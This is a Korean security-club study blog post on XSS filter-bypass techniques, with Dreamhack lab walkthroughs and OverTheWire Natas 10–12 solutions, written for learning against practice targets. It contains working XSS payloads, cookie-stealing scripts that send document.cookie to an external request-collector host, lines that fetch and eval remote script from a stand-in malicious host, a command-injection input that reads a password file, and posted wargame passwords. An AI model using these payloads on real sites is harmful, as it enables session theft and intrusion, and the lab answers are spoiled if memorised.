ABOUT ME

아무것도 없음

Today
Yesterday
Total
  • [SISS/웹해킹 스터디] 25-1학기 2주차 스터디 - XSS Filtering Bypass I, Natas 10 >> 12
    25-1 SISS/웹해킹 2025. 3. 20. 22:30

    [SISS/웹해킹 스터디] 25-1학기 2주차 스터디 - XSS Filtering Bypass I, Natas 10 >> 12

    : 2주차 (3/17 ~ 3/23) XSS Filtering Bypass 10 >> 12

    XSS Filtering Bypass - II


    • 올바르지 못한 방식의 필터링
      • 문제점
        • 기존의 XSS 공격 방어 역할을 올바르게 수행하지 못함
        • 기타 방어 기법들을 우회해 새로운 공격을 수행할 수 있도록 기회 제공
      • 근본적인 해결책
        • 태그 삽입이 되지 않도록 원인 제거
    • 자바스크립트 함수 및 키워드 필터링
      • Unicode escape sequence
        • 자바스크립트에서 지원하는 표기법
        • 문자열에서 유니코드 문자를 코드 포인트로 나타낼 수 있음
      • Computed member access
        • 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능
      • 자바스크립트 키워드 필터링
        • XSS 공격에 흔히 사용되는 구문과 필터링 우회를 위해 사용될 수 있는 대체 예시 
          구문 대체 구문
          alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
          window self, this
          eval(code) Function(code)()
          Function isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근
        • 자바스크립트 특성 활용
          • [, ], (, ), !, +으로 모든 동작 수행 가능
            • XSS 필터링에서 주로 탐지하는 단어를 언급하지 않음
            • 공격 구문의 길이가 늘어난다는 단점
    • 자바스크립트 함수 및 키워드 필터링
      • 특정 문자((), [], “, ‘ 등)를 사용하지 못하는 경우
        • 필터링 혹은 인코딩/디코딩 등의 이유
    /* Unicode escape sequence 우회 */
    var foo = "\u0063ookie";  // cookie
    var bar = "cooki\x65";  // cookie
    \u0061lert(document.cookie);  // alert(document.cookie)
    /* computed member access */
    document["coo"+"kie"] == document["cookie"] == document.cookie
    
    /* Computed member access 우회 */
    alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
    window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

     

    • 문자열 선언 → 따옴표가 필터링 되어 있는 경우
      • 템플릿 리터럴 사용 → 백틱을 이용하여 내장된 표현식 ${} 사용
        /* 템플릿 리터럴 사용 예시 */
        var foo = "Hello";
        var bar = "World";
        var baz = `${foo},
        ${bar} ${1+1}.`; // "Hello,\\nWorld 2."
        
      • RegExp 객체 사용하기 → 객체의 패턴 부분을 가져옴
        /* RegExp 객체 사용 예시 */
        var foo = /Hello World!/.source;  // "Hello World!"
        var bar = /test !/ + [];  // "/test !/"
        
      • String.fromCharCode 함수 사용 → 유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자를 반환
        /* fromCharCode 함수 사용 예시 */
        var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"
        
      • 기본 내장 함수 혹은 객체의 문자 사용
        • toString()
          • 내장 함수나 객체를 문자열로 변환
        • 한 글자씩 가져와 문자열을 만듦
          • history.toString() → [object History] 문자열 반환
          • URL.toString() → function URL() { [native code] } 문자열 반환
          • history+[]; history+0; → 산술연산 수행 시 연산을 위해 객체 내부적으로 toString() 호출 후 연산 수행
        /* 내장 함수 및 객체 문자 이용 예시 */
        var baz = history.toString()[8] + // "H"
        (history+[])[9] + // "i"
        (URL+0)[12] + // "("
        (URL+0)[13]; // ")" ==> "Hi()"
        
      • 숫자 객체의 진법 변환
        • 36진수로 변경하여 아스키 영어 소문자 범위를 생성
          • 괄호 이용, 점 두개, 공백과 점 조합을 이용하여 사용
        /* 진법 변환 예시 */
        var foo = (29234652).toString(36); // "hello"
        var foo = 29234652..toString(36); // "hello"
        var bar = 29234652 .toString(36); // "hello"
        

     

    • 함수 호출
      • 소괄호와 백틱이 필터링 되어있는 경우
      • javascript 스키마를 이용한 location 변경
        • javacsript: → location 객체를 변조
          /* javascript 스키마를 이용한 우회 예시 */
          location="javascript:alert\\x28document.domain\\x29;";
          location.href="javascript:alert\\u0028document.domain\\u0029;";
          location['href']="javascript:alert\\050document.domain\\051;";
          
      • Symbol.hasInstance 오버라이딩
        • Symbol을 속성 명칭으로 사용
          • instanceof 연산자 오버라이드(재정의) 가능
          • 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출
          /* Symbol.hasInstance 오버라이딩 예시 */
          "alert\\x28document.domain\\x29"instanceof{[Symbol.hasInstance]:eval};
          Array.prototype[Symbol.hasInstance]=eval;"alert\\x28document.domain\\x29"instanceof[];
          
      • document.body.innerHTML 추가
        • 문서 내에 새로운 HTML 코드 추가
          • document.body.innerHTML에 코드를 추가하여 자바스크립트 코드 실행
          • script 태그가 보안 정책 상 실행되지 않으므로 이벤트 핸들러 이용
          /* document.body.innerHTML 추가 예시 */
          document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
          document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";
          

     

    • 자바스크립트 함수 및 키워드 필터링 실습
      • 1단계
        • 함수명 자체를 필터링하므로 나눈 문자열을 통해 실행
      • 2단계
        • 1단계에 특수문자 필터링이 추가됨
        • 인코딩한 문자를 다시 디코딩하여 실행
      • 3단계
        • 특수문자 필터링
    /* 1단계 필터링 */
    function XSSFilter(data){
      if(/alert|window|document/.test(data)){
        return false;
      }
      return true;
    }
    
    /* 1단계 정답 */
    this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
    /* 2단계 필터링 */
    function XSSFilter(data){
      if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
        return false;
      }
      return true;
    }
    
    /* 2단계 정답 */
    Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
          decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
    Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
    /* 3단계 필터링 */
    function XSSFilter(data){
      if(/[()"'`]/.test(data)){
        return false;
      }
      return true;
    }
    
    /* 3단계 정답 */
    /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
    location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

    자바스크립트 함수 및 키워드 필터링 실습

     

    • 디코딩 전 필터링
      • 검증이 끝난 데이터를 디코딩할 경우
        • 검증 전 디코딩을 이미 한 번 진행한 상태
        • 따라서 두 번 디코딩을 하게 되어 공격자의 더블 인코딩을 통한 검증 우회 가능
    /* 검사가 미흡한 PHP */
    <?php
    $query = $_GET["query"];
    if (stripos($query, "<script>") !== FALSE) {
        header("HTTP/1.1 403 Forbidden");
        die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
    }
    ...
    $searchQuery = urldecode($_GET["query"]);
    ?>
    <h1>Search results for: <?php echo $searchQuery; ?></h1>
    
    /* 공격에 실패 */
    POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
    ...
    -----
    HTTP/1.1 403 Forbidden
    XSS attempt detected: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
    
    /* 더블 URL 인코딩으로 공격 성공 */
    POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
    ...
    -----
    HTTP/1.1 200 OK
    <h1>Search results for: <script>alert(document.cookie)</script></h1>

     

    • 길이 제한
      • 삽입 가능 코드 길이 제한
        • URL fragment 등으로 삽입한 추가 실행 코드(payload)를 launcher를 통해 실행
        • 예시
          • 주로 location.hash로 framgent 부분을 추출하여 eval()로 실행하는 방법 사용
          • 쿠키에 페이로드 저장
          • 외부 자원(import 등)을 스크립트로 로드
    /* location.hash 이용 */
    https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
    /* 외부 자원 이용 */
    import("http://malice.dreamhack.io");
    
    var e = document.createElement('script')
    e.src='http://malice.dreamhack.io';
    document.appendChild(e);
    
    fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))

     

    문제 2


    문제 2

     

    XSS Filtering Bypass 실습 1


    •  /vuln
      • 이용자가 전달한 param 파라미터의 값을 필터링하여 출력
      • script, on, javascript 키워드를 대소문자 구분 없이 필터링
    • /memo
      • 이용자가 전달한 memo 파라미터의 값을 memo.html에 기록하고 출력
    • /flag
      • get
        • flag.html을 제공(URL을 입력받는 페이지)
      • post
        • 사용자 입력을 param으로 가져와 check_xss()에서 확인
          • False일 경우 wrong??을, True일 경우 good을 반환
        • check_xss()는 read_url()의 결과를 반환
        • read_url()은 접속에 성공할 경우 True, 실패할 경우 False를 반환
    @app.route("/vuln")
    def vuln():
        param = request.args.get("param", "")
        param = xss_filter(param)
        return param
        
    def xss_filter(text):
        _filter = ["script", "on", "javascript"]
        for f in _filter:
            if f in text.lower():
                text = text.replace(f, "")
        return text
    @app.route("/memo")
    def memo():
        global memo_text
        text = request.args.get("memo", "")
        memo_text += text + "\n"
        return render_template("memo.html", memo=memo_text)
    def read_url(url, cookie={"name": "name", "value": "value"}):
        cookie.update({"domain": "127.0.0.1"})
        try:
            service = Service(executable_path="/chromedriver")
            options = webdriver.ChromeOptions()
            for _ in [
                "headless",
                "window-size=1920x1080",
                "disable-gpu",
                "no-sandbox",
                "disable-dev-shm-usage",
            ]:
                options.add_argument(_)
            driver = webdriver.Chrome(service=service, options=options)
            driver.implicitly_wait(3)
            driver.set_page_load_timeout(3)
            driver.get("http://127.0.0.1:8000/")
            driver.add_cookie(cookie)
            driver.get(url)
        except Exception as e:
            driver.quit()
            # return str(e)
            return False
        driver.quit()
        return True
    
    def check_xss(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
        return read_url(url, cookie)
        
    @app.route("/flag", methods=["GET", "POST"])
    def flag():
        if request.method == "GET":
            return render_template("flag.html")
        elif request.method == "POST":
            param = request.form.get("param")
            if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
                return '<script>alert("wrong??");history.go(-1);</script>'
    
            return '<script>alert("good");history.go(-1);</script>'

     

    • 취약점 분석
      • /memo의 render_template()이 키워드를 제거하는 방식으로 필터링하고 있음을 확인
        • scrionpt → script와 같이 필터링에서 탐지되지 않는 방법 발생

     

    • 풀이
      • 사용 속성 → location에 on이 포함되어있으므로 우회 필요 → document[’locatio’+’n’]
        속성 설명
        location.href 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값입니다.
        document.cookie 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.
      • 쿠키 탈취 코드
    /* /memo 이용 - /flag에서 아래를 코드를 입력 */
    <scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>
    /* 웹 서버 사용 - 접속 기록을 저장하는 외부 웹 서버를 이용해 확인 */
    <scronipt>document['locatio'+'n'].href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</scronipt>

     

    • 실행 화면
      • 메모 페이지 이용

    XSS Filtering Bypass 실습 1 - 메모 페이지 이용

     

    XSS Filtering Bypass 실습 2


    • 실습 1에서 필터링 함수가 변경됨
      • xss_filter()
        • 키워드가 있을 경우 문자열 filtered!!!를 반환
        • 이벤트핸들러 사용 불가
        def xss_filter(text):
            _filter = ["script", "on", "javascript"]
            for f in _filter:
                if f in text.lower():
                    return "filtered!!!"
        
            advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
            for f in advanced_filter:
                if f in text.lower():
                    return "filtered!!!"
        
            return text
        
    • 풀이
      • 브라우저 정규화
        • 클라이언트에서 특수문자를 제거한 후 스크립트 실행 → 필터링되는 문자 사이 특수문자를 삽입해 검증을 우회할 수 있다
    <iframe src="javascri	pt:locatio	n.href='/memo?memo='%2bdocumen	t.cookie">

    XSS Filtering Bypass 실습 2

     

    Natas 10 >> 11


    Natas 9 >> 10 완료 화면

    • 풀이
      • View sourcecode
        • preg_match()
          • 특수문자 ;, |, &의 존재 여부를 검사하여
            • 있을 경우 오류 메시지 출력
            • 없을 경우 dictionary.txt에서 grep 명령어를 이용하여 키를 검사
              • grep -i $key dictionary.txt
        • 명령어 작성
          • 비밀번호가 저장되어있는 경로의 모든 내용을 출력하도록 작성
            • . cat /etc/natas_webpass/natas

    natas 10

     

    • 입력
      • id → natas11
      • pw → UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

    Natas 10 >> 11

     

    Natas 11 >> 12


    Natas 10 >> 11 완료 화면

    • 풀이
      • View sourcecode
        • showpassword
          • yes일 경우 비밀번호 출력
        • loadData()
          • 쿠키에 데이터가 존재할 때 쿠키의 데이터 값을 base64 디코딩 → key와 xor 연산 → JSON을 PHP 배열로 변환
            • 거꾸로 PHP 배열을 key와 xor 연산할 경우 base64 인코딩 값을 구할 수 있음
          • 배열인지 확인 이후 showpassword, bgcolor에 유효한 값이 존재하면 데이터 업데이트
      • key 값 알아내기 → eDWo
        • 개발자 도구 > application > 쿠키 > data
          • HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D → eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe
      • showpassword가 yes일 때의 쿠키 데이터 값 만들기
        • View sourcecode의 xor_encrypt()를 이용 → HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5
      • 알아낸 데이터 값을 이용해 쿠키 변조

    View sourcecode

    /* key 값 알아내기 */
    <?php
        $data = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D';
        $json_encode = '{"showpassword":"no","bgcolor":"#ffffff"}';
    
        $key = base64_decode($data) ^ $json_encode;
        echo $key;
    ?>

    key 값 알아내기

    /* showpassword가 yes일 때의 쿠키 데이터 값 만들기 */
    <?php
    	function xor_encrypt() {
    		$default_data = array("showpassword"=>"yes", "bgcolor"=>"#ffffff");
        $key = 'eDWo';
        $text = json_encode($default_data);
        $outText = '';
    
        // Iterate through each character
        for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
        }
    
        return base64_encode($outText);
      }
      
      echo xor_encrypt();
    ?>

    showpassword가 yes일 때의 쿠키 데이터 값 만들기
    알아낸 데이터 값을 이용해 쿠키 변조

     

    • 입력
      • id → natas12
      • pw → yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

    Natas 11 >> 12

Designed by Tistory.